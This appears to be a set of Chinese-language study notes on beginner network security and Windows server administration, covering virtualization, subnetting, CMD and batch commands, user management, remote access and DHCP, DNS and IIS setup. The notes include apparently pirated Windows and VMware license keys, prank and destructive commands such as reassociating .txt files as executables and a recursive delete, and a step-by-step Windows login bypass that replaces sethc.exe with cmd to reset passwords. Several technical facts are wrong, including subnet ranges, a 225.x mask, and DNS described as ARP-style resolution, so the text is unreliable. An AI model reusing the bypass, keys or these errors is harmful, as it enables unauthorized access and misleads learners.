NetworkSecurity

基础认识

1.虚拟化

  1. Windows中00/03/08/12和Centos都属于服务器系统,但是Centos是免费开源的。虚拟化可以实现在一个系统上打开多个系统。

1.1 虚拟机运行架构

  1. 寄居架构(实验环境、测试环境),寄居架构是通过提供特定服务的应用程序上安装都个操作系统,这种应用程序是在某种系统上运行的。直接安装在硬件上的系统为宿主

  2. 原生架构(生产环境),原生架构的虚拟机软件直接安装在计算机硬件上,虚拟机本身就是一个操作系统,在这个虚拟机中可以同时运行多个操作系统。

1.2 虚拟机产品

  1. Vmware公司研发的产品,VMware Workstation属于寄居架构,而VMware vSphere属于原生架构。

  2. 微软公司推出的Hyper-V属于寄居架构,不过只有windows10以上才有Hyper-V。

1.3 安装和使用

1.安装vm12和镜像

  1. 安装软件

    1. vm12

    2. 密钥:UC5MR-8NE16-H81WY-R7QGV-QG2D8

  2. 安装

    1. 在你的电脑上创建一个文件夹命名为“VM”

    2. 打开虚拟机并新建向导,出现欢迎界面有:经典、自定义。

      1. 只要是Windows系统都用“经典”

      2. 如果不是Windows系统就用“自定义”

    3. 安装系统选最后一个安装“稍后安装操作系统”

      1. 说明:上面的一个是要购买另一个是要序列号

    4. 版本:

      1. 选择Windows操作系统,版本选择Windows PX professlonal(专业版)

      2. 安装win2003时,版本:Windows Server 2003 Enterprise Edition(企业版)服务器

        • Windows 2003sp2.iso是2003的最高版本

    5. 系统命名最好是系统加上第几个,位置放到新建下的“VM”里面

    6. 最大磁盘大小默认是40G(最多40G),将选择:虚拟磁盘储存为单个文件

    7. 打开虚拟机设置点击CD/DVD/(IDE)右侧有使用物理驱动器和使用ISO映像文件,点击使用ISO映像文件

      • 补充:系统镜像的后缀名是:iso

    8. 服务器需要点击:开机右边的按钮后才会出现登录窗口。

    9. 虚拟机,安装VMware tools

2.使用

  1. 同步骤:

    1. 按c、输入10240(10G)选中c:如果没有选中c:那你的系统就会安装到d:、按enter,有ntfs和fat文件系统格式化ntfs比fat新,选第一个

    2. 点击菜单中的虚拟机,里面有VMware tools点击安装,会将本机驱动复制给虚拟机。

    3. 桌面右键点击属性,属性中点击桌面菜单,其中有自定义桌面点击,将图标打上对勾。

    4. 我的电脑右键管理,选择磁盘管理并将为划分的资源划分。(记得选择快速格式化)

  2. xp

    1. winxp的密钥:TBWJH-YRX9X-4T6G6-TDC9Y-8CYMM

  3. 03

    1. win03的密钥:GRD4P-FTQQF-JCDM8-4P6JK-PFG7M

  4. 快照

    1. 点击管理此虚拟机快照,点击拍摄快照。

    2. 点击转到即可使用。

  5. 克隆

    1. 点击管理此虚拟机快照,点击克隆。

    2. 克隆后打开修改计算机名称。

3.使用8uftp软件

  1. 用于方便连接ftp服务器

  2. 点击左上角的电脑图标,对话框中点击新建站点并数据站点名。

  3. 右边名称输入ftp的ip,用户名和密码输入指定的。

 

1.4 补充

  1. 镜像下载地:https://msdn.itellyou.cn/?lang=zh-cn

  2. 访问ftp服务器

    • 打开我的电脑,在地址栏中输入:ftp://10.0.105.223

  3. 关闭更新服务

    1. Windows+r打开运行对话框并输入services.msc

    2. 找到Windows update并双击

    3. 在恢复中第一次失败里面改成无操作

    4. Windows+r输入gpedit.msc

    5. 在管理模板中的Windows组件里有Windows更新,将“配置自动更新”改为禁用

2.基础网络认识

2.1 简单局域网的构成

  1. 局域网:一般称之为内网

  2. 简单局域网的构成:交换机、网线、PC(其他IT终端)

  3. 交换机:用来组建内网的局域网的设备。

2.2 IP地址

  1. IP地址就是一个唯一标识,是一段网络编码(二进制),由32为组成。

  2. IP地址形式:x.x.x.x的范围:0-255

  3. 国际标准组织ISO定义地址分类:五大类 (是以IP地址的第一位进行区分的)

    1. A类:1-126默认子网掩码:255.0.0.0

    2. B类:128-191默认子网掩码:255.255.0.0

    3. C类:192-223默认子网掩码:255.255.255.0

    4. D类:224-239组播地址

    5. E类:240-254科研使用

    6. 主机位是0的话就是网段

    7. 127.0.0.1 #是回环地址

2.3 子网掩码

  1. 局域网通信规则:在同一个局域网中,所有的IP必须在同一网段中才可以互相通信!

  2. IP地址构成:网络位+主机位(网络位相同的IP地址,为同一网段)

  3. 子网掩码如何确定网络位:与255对应的数字为网络位,与0对应的是主机位

    1. 255.0.0.0 # 前一位是网络位,后三位是主机位。

    2. 255.255.0.0 # 前二位是网络位,后二位是主机位。

    3. 255.255.255.0 # 前三位是网络位,后一位是主机位。

    4. 10.1.1.1 255.0.0.0 获知:10.1.1.1属于10网段,.1.1.1 10.1.1.1 255.255.0.0 获知:10.1.1.1属于10.1网段,.1.1 10.1.1.1 255.255.255.0 获知:10.1.1.1属于10.1.1网段,.1

    5. 一个IP地址,必须配套一个子网掩码、

  4. 通过子网掩码可以划分子网,子网掩码225.225.225.224,可划分6个子网(加零和一子网是8个),每个子网可容纳30个主机。

    子网地址 子网地址 范围
    00100000 192.168.0.32 192.168.0.33-192.168.0.62
    01000000 192.168.0.64 192.168.0.65-192.168.0.94
    01100000 192.168.0.96 192.168.0.97-192.168.0.126
    10000000 192.168.0.128 192.168.0.127-192.168.0.158
    10100000 192.168.0.160 192.168.0.161-192.168.0.190
    11000000 192.168.0.192 192.168.0.33-193.168.0.222
  5. c类子网用算关系。

    子网掩码 可用子网 子网可容纳主机数
    255.255.255.0 0 254
    255.255.255.128 0 126
    255.255.255.192 2 62
    255.255.255.224 6 30
    255.255.255.240 14 14
    255.255.255.248 30 6
    255.255.255.252 62 2
    255.255.255.254 126 0
    255.255.255.255 254 0

 

2.4网关

  1. 是internet与内网连接的入口

  2. 的主机名无非两种10.1.1.1和10.1.1.254

  3. 网关称之为内网的出口

  4. 网关:Gateway=GW

  5. PC向外发包:

    1. 首先判断目标IP地址与自己是否在同一网段。

    2. 如在同一网段,则直接发出去,而不找网关

    3. 如不在同一网段,则直接发包给网关

2.5DNS

  1. 是域名解析服务器,提供网络层地址转换为链路层地址的过程。

  2. DNS:Domain Name Service

2.6网络测试命令

  1. ipconfig #查看IP地址基本信息

    1. ipconfig /all #查看IP地址详细信息

  2. ping

    1. ping #测试

    2. ping 目标IP地址 #测试网络连通性,有去有回即为可以成功通信

    3. ping -t 目标IP地址 #一直ping

    4. ping -l 1400 www.baidu.com #修改ping包的大小

    5. ping -n 数字 目标IP地址 #修改ping包的数量

    6. 注:如ping不通,可能对方不在线,或者对方开着防火墙

  3. nslookup

    1. nslookup #解析后面是网站

    2. nslookup www.jd.com 手工解析域名的IP地址

3.进制转换(非正宗)

3.1 二进制(BIN)

  1. 二进制只有01两种状态,逢二进一。

  2. 二转八

    1. 1101101(b)= 155(o)

    2. 用过从后往前没三位数,用421来转换。

  3. 二转十

    1. 1101101(b)= 109(d)

    2. 从后往前每一位的二次方,将1的次方数先加。

  4. 二转十六

    1. 1101101(b)= 6D(h)

    2. 从后往前将每4为数通过8421来计算。

3.2 八进制(OCT)

  1. 八进制有八个状态0~7,逢八进一。

  2. 八转二

    1. 155(o)= 1101101(b)

    2. 通过从后将每一位八进制数用421,从大到小分配未分配的为0

3.3 十进制(DEC)

  1. 十进制有十个状态0~9,逢十进一。

  2. 十转二

    1. 109(d)= 1101101 (b)

    2. 将十进制数除以二,直到除尽。从下往上数,从左往右排列。

3.4 十六进制(HEX)

  1. 十六进制有十六个状态1~F,逢十六进一。

  2. 十六转二

    1. 6D(h)= 1101101(b)

    2. 通过将每一位十六进制数通过从大到小填充8421,未满足为0

3.5 存储单位

  1. 8 bit = 1Byte (每八个字,等于一个字节)

  2. 1024 Byte = 1 KB (每1024个字节等于1kb)

  3. 1024 KB = 1 MB

  4. 1024 MB = 1 GB

  5. 1024 GB = 1 TB

  6. 1024 TB = 1 PB

4.基础命令

  1. cls                   清屏
    echo hello World!> a.txt    文件中添加
    重定向符号
    >> 追加
    > 覆盖
    copy con ng.txt        复制屏幕数据到文件ctrl+z退出
    copy a.txt ./          复制a.txt文件到当前文件夹
    move a.txt ./          移动a.txt文件到当前文件夹
    ren a.txt b.txt        重命名
    md admin               新建文件夹admin
  2. #dai ao
    del nn.txt          删除nn.txt
    del *.txt           删除此文件夹下的所有txt文件
    del*. *             删除所有文件夹下的文件 
    del*. * /q          删除所有文件夹下的文件并不出提示
    del*.* /s           删除根目录下所有文件
    rd xx               删除文件夹
  3. type nn.txt          浏览文件内容
    type nn.txt | more   分页浏览文件内容
  4. 操作

    dir                  查看当前文件夹下的文件
    dir /a               查看全部文件(包括系统文件)
    cd xx                进入指定子文件夹
    cd .                 当前文件夹
    cd ..                返回上级文件夹
    cd /                 返回根目录
    exit                 退出dos命令行
    echo xx              输出
    clxxxxxxxxxxxxxxxxxxx
    system("echo 123")   调用系统脚本
    #e chui buo
    attrib +h nn         属性隐藏nn文件夹
    attrib -h nn         属性取消隐藏nn文件夹
    attrib +h +s +a nn   属性隐藏,受保护的系统文件夹,只读文件夹nn文件夹
    fsutil file createnew c:\system.ini 409600000   
                         文件新建新的的system.ini的大小是4096000000字节
  5. assoc and shutdown

    #ao sao ke
    assoc.txt=exefile       把所有的txt文件改为exe
    shutdown -s -t 100      倒数100秒关机
    shutdown -a             解除关机
    shutdown -r -t 100      倒数100秒重启
    shutdown -s -f -t 100   倒数100秒后强制关机
    shutdown -s  -t 100 -c"认命吧,吃点好的吧!"  
                            倒数100秒后强制关机
    shutdown -l             注销账户,与logoff命令相同

5.批处理

1.1 批处理概要

  1. 批处理是自上而下处理每一条命令。

1.2 基本使用

  1. 标配

    @echo off    #不显示执行过程路劲
    color 0a     #前背后字,color?可以查颜色
    title baba   #脚本名称
    。。。
    echo baba >nul 2>nul #不在屏幕输出
    echo.        #空行
    pause        #暂停
  2. 块域

    #%userprofile%是一个变量,会获取当前用户的名(就这样理解)
    copy a.bat "%userprofile%\[开始]\..."
    :1      #指定块域名为1
    start    #可以加文件名,域名,IP,不加默认打开cmd
    echo 块域1
    ​
    :2 
    echo 块域2
    goto 1   #跳转到指定块域
  3. set

    set a=1     定义变量值为1
    echo %a%        调用变量
    set /p a=请输入 #/p指定了a的数据只能来源于键盘,后面的是提示信息
    echo %a%
    pause
  4. 条件语句

    单分支
    set /p user=输入用户名:
    if "user" == "alex" echo 欢迎使用
  5. 杀进程

    #第一条针对xp和win03
    ntsd -c q -pn 进程名 
    taskkill /im 进程名 /f   #/f是强制杀

6.用户与组管理

6.1 Server System Edition

  1. windows server :win00、win03、win08、win12

  2. linux server:Redhat、CentOS

6.2 User

1.SID

  1. 每个用户登录系统后,拥有不同的操作权限。

  2. 每个账户有自己唯一的SID(安全标识符)

    1. SID:S-1-5-21-426206823-2579496042-14852678-500

    2. 除最后一段,剩下的为系统在局域网中的id,最后一段代表User id

    3. Windows System Ad ministrators of User id 500

    4. 普通User of id yes 1000 start

  3. whoami /user :查看SID值。

  4. 账户密码存储位置:C\windows\system32\config\SAM #hash加密只能暴力破解

  5. 服务器系统默认密码最多的有效期 42 天

2.内置账户

  1. User使用的账户:

    1. administrator:管理员账户

    2. guest:来宾账户

  2. Computer服务组件相关的系统账户

    1. system:系统账户,权限最高

    2. local services:本地服务账户,权限等于普通用户

    3. network services:网络服务账户,权限等于普通账户

6.3 配置文件

  1. 每个用户都有自己的配置文件,在用户第一次登录时自动生成,路劲是:

    1. win7/08:c:\users\

    2. winxp/03:c:\Documents and Settings\

6.4 User管理命令

1. net user                       #查看用户,加用户名可以查看详细
2. net user name 123              #代表修改密码只有管理员可用。
3. net user name1 1234 /add       #创建用户并设置用户名和密码
4. net user name1 /del            #删除指定用户
5. net user name1 /active:yes|no  #激活或禁用账户

6.5 组概述

  • 组的作用:简化权限的赋予。

  • 赋予权限方式:

    • 用户进入组,组赋予权限,用于多个人使用相同权限。

    • 用户直接赋予权限,用于个人使用不同权限。

6.6 内置组

  • 内置组的权限默认已经被系统赋予。

    administrators    #管理员组
    guests            #来宾组
    users             #普通用户组,默认新建用户都属于该组
    network           #网络配置组
    print             #打印机组
    Remote Desktop    #远程桌面组

6.7 组管理命令

1. net localgroup                       #查看组,加组名可以查看详细
2. net localgroup name1 /add            #创建组
3. net localgroup name1 /del            #删除指定组
4. net localgroup name1 user /add       #创建用户到组
5. net localgroup name1 user /del       #删除指定组中的用户

7.MacOS

1.下载

  1. Vmware workstation 16

  2. Install-macOS-Big-Sur-11.1-20C69.iso

  3. MacOS Unlocker for VMware v2.0.3(苹果解锁插件)

2.安装

  1. 安装vm16

  2. win10系统下使用VMware遇到“您的主机不满足在启用 Hyper-V 或 Device/Credential Guard 的情况下运行 VMware”,四种解决方法:

    1. 打开“启用或关闭Windows功能”,取消Hyper-V;

    2. 打开“Windows安全中心”,选择“设备安全性”,点击“内核隔离详细信息”,关闭“内存完整性”;

    3. 使用win+r打开运行窗口,输入gpedit.msc,打开本地计算机策略 > 计算机配置 > 管理模板 > 系统 > Device Guard > Turn on Virtualization Based Security(打开基于虚拟化的安全)。双击,选择已禁用(Disabled);

  3. 解压Unlocker到D:\Program Files (x86)\VMware\VMware Workstation的文件夹中

  4. 如果打开过vm需要将账户注销一下

  5. 打开Unlocker(解压后的文件夹),右键管理员运行win-install.cmd文件

  6. 打开vm点击创建虚拟机,点击自定义创建下一步,选择最高版本下一步

  7. 选择稍后添加镜像下一步,选择Apple Mac OS x 系统并选择MacOS 11版本下一步

  8. 选择存储位置(不建议存储在盘),下一步到分配硬盘大小为80gb,选择单文件

  9. 点击虚拟机设置,修改内存为主系统的二分之一(主系统内存小于4gb不建议安装mac)

  10. 点击CD/DVD/(IDE)选择下载好的macos镜像,点击完成

  11. 点击开机,进入选择界面后双击磁盘,选中第一个右上角选择抹掉,命名OS,点击确定(默认自动退回选择界面,不退自己点一下)

  12. 选择安装macos后点击确定,后面的选择同意,到选择宗卷时选择名为OS的后确定

3.配置mac

  1. 无脑下一步,配置好后

  2. 点击选择偏好设置后选择安全与隐私

  3. 点击左下角锁子,输入密码将最后选中成为允许任何来源

  4. 点击vm的虚拟机菜单的tools,安装即可。

8.远程连接Server

8.1 远程管理类型

  • 远程桌面(图形)

  • telnet(命令行)

8.2 远程桌面

  1. 同步骤:

    1. 虚拟机设置选择网络,勾选自定义选择VMnet1(仅主机模式),确定。

    2. 网上邻居右键点击属性,本地连接右键属性,选择Internet点击属性,配置IP

  2. win03

    1. 打开win03我的电脑右键属性,选择远程勾选启用此电脑的远程桌面。

    2. 打开cmd 创建用户 net user a a /add

    3. 我的电脑右键点击管理,点击本地用户和组里的组

    4. 找到Remote Desktop Users,双击添加用户

    5. 输入用户名点击确定

  3. winxp

    1. 打开运行对话框输入mstsc

    2. 输入ip,输入用户名和密码

    3. 远程桌面协议端口RDP:3389

8.2 telnet

  1. win03

    1. 打开win03我的电脑右键属性,选择远程勾选启用此电脑的远程桌面。

    2. 打开cmd 创建用户 net user a a /add

    3. 我的电脑右键点击管理,点击本地用户和组里的组

    4. 找到TelnetClients,双击添加用户

    5. 输入用户名点击确定

    6. 在运行窗口中输入services.msc,打开后找到Telnet服务名启用设置为自动。

  2. winxp

    1. 打开运行对话框输入cmd

    2. 输入 telnet 10.0.0.1,回车

    3. 输入用户名和密码

    4. 输入 netstat -an 查看本地开放的所有端口

    5. telnet的端口为23

9 破解windows密码

9.1 shift漏洞破解win7

1 漏洞

  1. 在未登录系统时,连续按5次shift键,弹出程序c:\windows\system32\sethc.exe

  2. 部分win7及win10系统在未登录时,可以通过系统修复漏洞篡改系统文件名!

2 破解过程相关知识

1.cmd工具路劲
    c:\windows\system32\cmd
2.用户/账户密码存储位置
    c:\windows\system32\config\SAM
3.修改账户密码:
    net user username password

3 漏洞利用过程

  1. 开启wind7虚拟机,开机并设置复杂密码(扮演密码忘记)

  2. 关机并开机,在出现windows logo 时强制关机

  3. 再次开机,出现“启动修复(推荐)”及选择该选项

  4. 出现系统还原时点击取消,等待几分钟后,会出现问题原因,点击查看详细信息

  5. 打开最后一个连接即一个记事本

  6. 记事本中点打开并选择显示所有文件

  7. 找到sethc并改名sethc-bak,再找到cmd,复制一份cmd改名为sethc后,全部关闭

  8. 系统重启完毕后,连续按5次shift键,将弹出cmd工具,使用命令net user username password ,将当前用户密码修改掉即可

  9. 另外创建一个用户,并提升为管理员后并注销即可,这样的好处为不修改当前用户的密码即可登录系统。

9.2 PE破解windows密码

  1. U盘安装pe系统

  2. 开机进入Bloss选择Boot,找到usb点加号,再点F10确定。

  3. 进入pe后,双击“破解win登录密码”,点击打开选择你要破解的用户

  4. 更改口令后点击保存更改

部署服务

1.NTFS安全权限

  1. 文件系统即在外部存储设备上组织文件的方法

  2. 常用的文件系统:

    1. FAT:windows

    2. NTFS:windows

    3. EXT:linux

  3. 通过设置NTFS权限,实现不同用户访问不同权限的对象(文件和文件夹)

  4. 分配了正确的访问权限后,用户才能访问其资源

  5. 设置权限防止资源被篡改或删除

  6. NTFS限制用户对文件的操作

1.1 单元和NTFS特点

  1. 单元是存储数据的block,block越多读取越慢。

  2. 每个文件所用到的block并不会被其他文件使用,block越大所浪费的也越多。

  3. 对应不同的文件使用不同的block最好。

  4. 在格式化中可以设置单元大小

  5. NTFS特点:

    1. 提高磁盘读写性能

    2. 可靠性:加密文件系统、访问控制列表(设置权限)

    3. 磁盘利用率:压缩、磁盘配额

    4. 支持单个文件大于4GB

1.2 修改NFTS权限

  1. 取消权限继承

    1. 作用:取消后,可以任意修改权限列表了。

    2. 方法:文件假右键属性、安全、高级、去掉第一个对号,在弹出的对话框中选择复制。

  2. 文件及文件夹权限

    文件和文件夹权限 权限内容
    完全控制 拥有下面所有权限
    修改 拥有下面除特殊权限的所有权限
    读取和执行 拥有读取对象和执行对象的能力
    读取 拥有读取对象的能力
    写入 拥有新建和修改对象的能力
    特殊权限 拥有对对象的管理权限
  3. 默认成员组

    介绍
    Administrators 管理员组拥有所有权限
    CREATOR OWNER 创造者组拥有特别权限
    SYSTEM 系统组拥有除特别权限的所有权限
    Users 用户组拥有除写入、修改的所有权限
    • 在添加用户时可以使用“;”来隔开,实现多用户的添加。

1.3 叠加|无效和获得所有权

  1. 如果a用户和User组都在权限列表中,a又在User组中,a具有自己和User组的所有权限(称为权限叠加)。

  2. 如果a用户和User组都在权限列表中,a又在User组中,将a的所有权限取消后,a用户的权限不叠加(a用户无任何权限)。

  3. a用户创建文件,断绝继承并将所有用户和组删除。管理员可以强制获得所有权:

    1. 对象右键属性选择安全,在弹出的对话框中点击确定。

    2. 点击高级并选择所有权,选中某个管理员或管理员组再将替换子容器勾选。点击确定即可

1.5 强制继承和复制|移动

  1. 强制继承让一些不需要存在的权限划分消失。继承后权限会被覆盖

  2. 对象右键属性选择安全里的高级,将“用在此显示的可以应用到子对象的项目替代所有子对象的权限项目”勾选即可。

  3. 将本盘或其他盘的对象,复制到指定对象下会继承对象的权限。

  4. 将本盘的对象,移动到指定对象下不会继承对象权限。其他盘移动的会继承对象权限。

2.文件共享服务器

  • 通过网络提供文件共享服务(CIFS),提供文件下载和上传服务(类似于FTP服务器)

2.1 创建共享并访问

  1. 测试时,记得虚拟机网络选择自定义的VMnet1仅主机模式和ip的配置。

  2. 文件夹右键属性,选择共享点击开启共享,设置共享名和共享权限。

    • 本地登录,只受NTFS权限的限制

    • 远程登录,将受共享及NTFS权限取交集

    • 所以建议设置共享权限为everyone完全控制,然后具体的权限需求在NTFS权限中设置即可。

  3. 使用运行窗口或文件路径的输入框都可以使用“\\”来访问

    • \\ ip地址或\\ ip地址\共享名

    • whoami:查看当前用户名称

    • whoami /user:查看当前用户sid和名称

2.2 隐藏共享文件和操作命令

  1. 在共享时共享名的后面加上”$“就可以隐藏。

  2. 访问隐藏文件时,将共享名和”$“加上就可访问

  3. 命令操作共享

    命令 描述
    net share 查看所有共享资源
    net share 共享名 /del 删除指定共享
    net share 共享名=路径 添加指定共享

2.3 系统共享和屏蔽系统共享

  1. 默认共享

    共享名 资源 注释 解释
    C$ C:\ 默认共享 系统共享
    IPC$   远程 IPC 系统共享
    ADMIN$ C:\WINDOWS 远程管理 系统共享
    E$ E:\ 默认共享 系统共享
    a E:\a   用户共享
    • 系统共享删除(ipc无法删除),系统重启后将自动创建系统共享。

  2. 屏蔽共享

    1. regedit:打开注册表编辑器

    2. 定位共享注册表位置

      1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

    3. 右键新建REG_DWORD类型的AutoShareServer键,值为0。

2.4 关闭445服务

  1. 可以通过关闭445端口来屏蔽病毒传入

  2. 方法1:打开services.msc,并停止及禁用server服务

  3. 方法2:禁止被访问445,配置高级安全防火墙-入站规则(在win7及以上系统,win2008及以上系统)

    1. 选择端口,将tcp和udp都禁掉(操作两边),输入445

    2. 选择阻止连接,填写名称。

3.DHCP部署与安全

  1. DHCP协议通过路由器实现ip的自动分配

  2. 地址池/作用域:

    1. IP、子网掩码、网关、DNS、租期

    2. DHCP协议端口是UDP 67或68.

  3. DHCP减少工作量、避免ip冲突、提高地址利用率

3.1 DHCP原理

  • DHCP租约过程,分为4步:

  1. 发送DHCP Discovery广播包

    • 客户端广播请求ip地址(包含客户端的MAC地址)

    • 网络中有两个DHCP时,会使用先到达的一个

  2. 响应DHCP Offer广播包

    • 服务器响应提供的ip地址(只包含IP地址)

  3. 发送DHCP Request广播包

    • 客户机获取IP(也可认为确认使用那个ip)

  4. 发送DHCP ACK广播包

    • 服务器确定了租约,并提供网卡详细参数ip、掩码、网关、DNS、租期等。

3.2 DHCP续约

  1. 当50%时,客户机会再次发送DHCP Request包,进行续约。

  2. 如服务器无响应,则需要使用并在87.5%再次发送DHCP Request包,进行续约。

  3. 如还无响应,就将释放ip地址,及重新发送DHCP Discovery广播包来获取ip地址。

  4. 如无任何DHCP服务器时,网卡自动分配一个网络无效ip:

    1. 169.254.x.x/16

    2. 属于全球统一无效地址,用于内网通信。

3.3 部署DHCP服务器

  1. 手动配置ip地址(服务器必须固定ip地址)

  2. win03安装DHCP服务器插件

    1. 找到镜像文件并打开,选择安装win插件;双击网络服务,再打开的窗口选择”动态主机配置协议“

  3. 创建作用域

    1. 右键点击创建作用域,取名字并确定;设置开始ip和结束ip并设置网络段长度。

    2. 设置单个需要在作用域里排除的ip地址;设置租期并确定后,选择是并确定。

    3. 设置网关(网关需要在作用域里排除)点击确定;父域不用管,设置DNS服务器和名称并点击下一步;点击激活即可。

  4. 注意:

    1. 如果未分配到想要的ip有可能是虚拟机的网题

      1. 点击编辑选择虚拟网络编辑器,找到虚拟机设置的网络,选中找到“使用本地DHCP服务将ip地址分配给虚拟机”取消勾选。

    2. 如果在控制台误删了服务器,可以通过一下步骤找到。

      1. 选择菜单中的操作后,点击添加服务器,点击预览再点击高级,点击立即查找,找到后会在下方显示,选中确定即可。

    3. DHCP服务器ip需要和地址池的ip相同。应为客户端收到后,服务器会先看自己的ip然后分配对应地址池的IP。

  5. 客户端测试命令

    1. 可以通过禁用网络、拔掉网线来重新访问DHCP

    2. ipconfig /release:释放ip(取消租约,或者手动配置ip)

    3. ipconfig /renew:重新获取ip(有ip时,发送request续约,无ip时发送DIscovery重新获取ip)

3.4 保留地址和DHCP备份

  1. 地址保留是对指定mac与ip地址绑定

    1. 选择保留右键点击新建保留,设置保留名称、ip、mac地址,支持选择两者即可。

  2. 备份是将地址池保存起来

    1. 右键点击备份选择好位置点击确定即可。

3.5 优先级

  1. 如果有多个地址池,需要配置相同的DNS时

    1. 可以在服务器配置右键点击选择配置选项,找到dns服务器后输入IP

  2. 如果需要配置不同的网关时

    1. 可以选择作用域选项右键配置选项,找到路由器服务输入ip

  3. 地址池配置高于服务器配置

3.6 DHCP攻击与防御

  1. 攻击:通过频繁向DHCP服务器发送伪造请求,耗光地址池资源从而实现,客户机无法上网。

    • 防御:在交换机(管理型)的端口上做动态MAC地址绑定(静态用于网络中人员不变的地方)

  2. 攻击:伪造DCHP服务器向客户机,发送非法IP地址,从而实现网关不正确无法上网。

    • 防御:在交换机(管理型),除合法的DHCP服务器所在接口外,全部设置禁止发送DHCP Offer包。

4.DNS部署与安全

  1. 域名分为主机名三级域名二级域名顶级域名

  2. 主机名可以理解为服务器类型

    1. www全称Word Wide Web(万维网)

  3. 域名分为多种:如三级、二级、顶级域名

    1. Internet顶级域名

      域名 含义
      com 商业机构
      edu 教育机构
      gov 政府部门
      mil 军事部门
      net 主要网络支持中心
      org 非商业组织
      arpa 临时arpanet域(未用)
      int 国际组织
      country code 国家
      • 国内顶级域名.cn

    2. 中国二级域名

      域名 含义
      ac.cn 科研院所及科技管理部门
      gov.cn 国家政府部门
      org.cn 社会组织及民间非营利性组织
      net.cn 主要网络支持中心
      com.cn 商业组织
      edu.cn 教育机构
  4. 三级域名一般代表,购买者的标识。

  5. nslookup www.baidu.com:可以解析域名

4.1 监听端口和DNS解析方式

  1. DNS的端口是:TCP 53 和 UDP 53.

  2. 按照查询方式分类,分为递归查询和迭代查询:

    1. 迭代查询是客户端将请求发到本地DNS服务器,如果无法解析发送求到根服务器。根服务器解析判断顶级域名是什么后,将相应的负责服务器给你,你再发送请求到相应服务器。相应服务器判断二级域名如果找到后,将ip发送给你,本地会缓存一份。

    2. 递归查询是客户端向本地DNS服务器发送请求,如果本地服务器找不到会给,高一级的DNS服务器(级别高低又管理员分配)。通过转发器实现。

  3. 按照查询内容分为:正向解析和反向解析

    1. 正向解析(arp):是将网络层地址解析为链路层地址

    2. 反向解析(rarp):是将链路层地址解析为网络层地址

4.2 DNS部署

  1. win03安装DNS服务器

    1. 找到镜像文件并打开,选择安装win插件

    2. 双击网络服务,再打开的窗口选择”域名系统“

    3. 装好后,这种什么也不干的被称为缓存服务器。

2.DNS正向布置

  1. 新建区域

    1. 在正向查找区域右键新建区域后点击下一步,选择主要区域并下一步。

    2. 属于区域名称,就是不算名称剩下的如:“baidu.com”。

    3. 选择不允许动态更新,点击完成即可。

  2. 创建的区域中有两个自带的和自己新建:

    1. 起始授权机构(sda)和名称服务器(ds)代表本域名的权威服务器。

    2. 右面空白处右键创建主机,输入名称如:“www”

    3. 输入ip地址对应要解析的ip地址。

3.DNS反向布置

  1. 新建区域

    1. 在反向查找区域右键新建区域后点击下一步,选择主要区域并下一步。

    2. 填写网络部分的ip,如:“192.168.1”

    3. 选择不允许动态更新,点击完成即可。

  2. 创建的区域中有两个自带的和自己新建:

    1. 起始授权机构(sda)和名称服务器(ds)代表本域名的权威服务器。

    2. 右面空白处右键创建指针,输入要解析的主机位、选择管理的主机。

4.命令和清除缓存和别名

  1. ipconfig /flushdns:清除dns缓存

  2. ipconfig /displaydns:查看dns缓存

  3. 清楚DNS服务器缓存

    1. DNS服务器菜单单击后选中高级,服务器下方会出现“缓存的查找”,右键清楚缓存即可。

  4. 选择到区域中右键新建别名,输入别名并选择要起别名的域名。

4.3 布置转发器和区域复制

  1. 服务器右键属性,选择转发器输入其他DNS服务器并添加即可。

  2. 区域复制端

    1. 要复制的区域上右键属性,选择区域复制后选择只允许到下列服务器

    2. 输入要复制到的DNS服务器ip,添加即可。

  3. 区域粘贴端

    1. 在正向查询区域右键新建区域后,选择辅助区域下一步,输入区域名称。

    2. 输入要复制的DNS服务器ip并添加即可。

4.4 虚拟机上网

  1. 主电脑右下角网络图标右键“打开网络和Internet设置”,选择“更改适配器选项”查看你是用的网络并记住。

  2. 打开虚拟机找到菜单中的“编辑”后选择虚拟网络设置,选择VMnet0,在桥接模式改为你记住的即可。

  3. 只有VMnet0可以桥接真实网。

4.5 DNS的解析记录类型和服务器分类

  1. A:正向解析记录、CNAME:别名、 PTR:反向解析记录 MX:邮件交换记录、 NS:域名服务器解析。

  2. 主要名称服务器、辅助名称服务器、根名称服务器和高速缓存名称服务器。

4.6 Client DNS Request Parse Order

  1. DNS缓存、本地hosts文件、找本地DNS Server

4.7 Server 对DNS请求的处理顺序

  1. DNS高速缓存、本地区域解析文件、转发器、根

5.WEB部署与安全

  1. web是提供网络页面服务。

  2. web使用http和https协议

    1. http使用明文传输使用80端口

    2. https使用密文传输使用443端口

  3. web服务器发布软件:

    1. 微软:IIS(可以发布web网站和ftp站点)

    2. Linux:Apache/LAMP/Tomcat/nginx.etc

    3. 第三方:phpstudy、XAMPP

  4. 网页类型

    1. 静态页面后缀为html

    2. 动态网页后缀为asp

5.1 部署IIS服务器

  1. 设置一个静态ip

  2. win03安装DNS服务器

    1. 找到镜像文件并打开,选择安装win插件,双击应用程序服务器,在打开的窗口中再打开“Internet信息服务(IIS)”,找到万维网服务;装好后即可。

  3. 存放页面文件的位置“C:\Inetpub\wwwroot”

1.新建网站

  1. 写一个html文件并记住位置,网站右键新建选中网站,描述随便写,网站创建向导。

  2. 分配一个ip即可,端口默认即可,此网站的主机头可以无(也可以写你买好的域名),选择好页面展示所在的路劲,并勾选允许匿名访问网站,选择只读即可。

  3. 在创建好的网站上右键属性,选择“文档”点击添加,将你页面文件加后缀写入(这是设置默认首页)。将其移动到最高。

2.动态网站

  1. 写一个asp文件并记住位置,网页创建到最后一步时将运行脚本和执行都勾选,点击”web服务扩展“,找到Active Server Psges右键开启即可。

3.问题方法

  1. 访问网站时需要输入用户名和密码。

    1. 选中指定网站右键属性,选择目录安全性并点击身份认证的编辑,将启用匿名访问勾选即可。

  2. 设置多个网站有三种方式。

    1. 同一台电脑不同ip,回到桌面找到“网上邻居”右键属性,找到本地连接再右键属性,选择tcp/ip后点击属性,选择高级后添加ip即可。(不同网站使用不同ip)

    2. 同一台电脑和ip使用不同端口,在创建网站时输入其他端口即可(不要使用2000以下的,应为已经被分配了)

    3. 同一个电脑ip和端口使用不同的域名,在创建网站时输入网站域名即可(需要提前在DNS上创建并指向相同的ip)

  3. 通过域名访问还可以通过ip访问。

    1. 指定网站右键属性点击高级,添加一个没有域名的即可。

  4. 如果想要访问子网站

    1. 指定网站右键属性点击主目录,点击配置后选择”选项“勾选”启用父路径“。

6.FTP服务器

  1. File Transfor Protocol 文件传输协议。

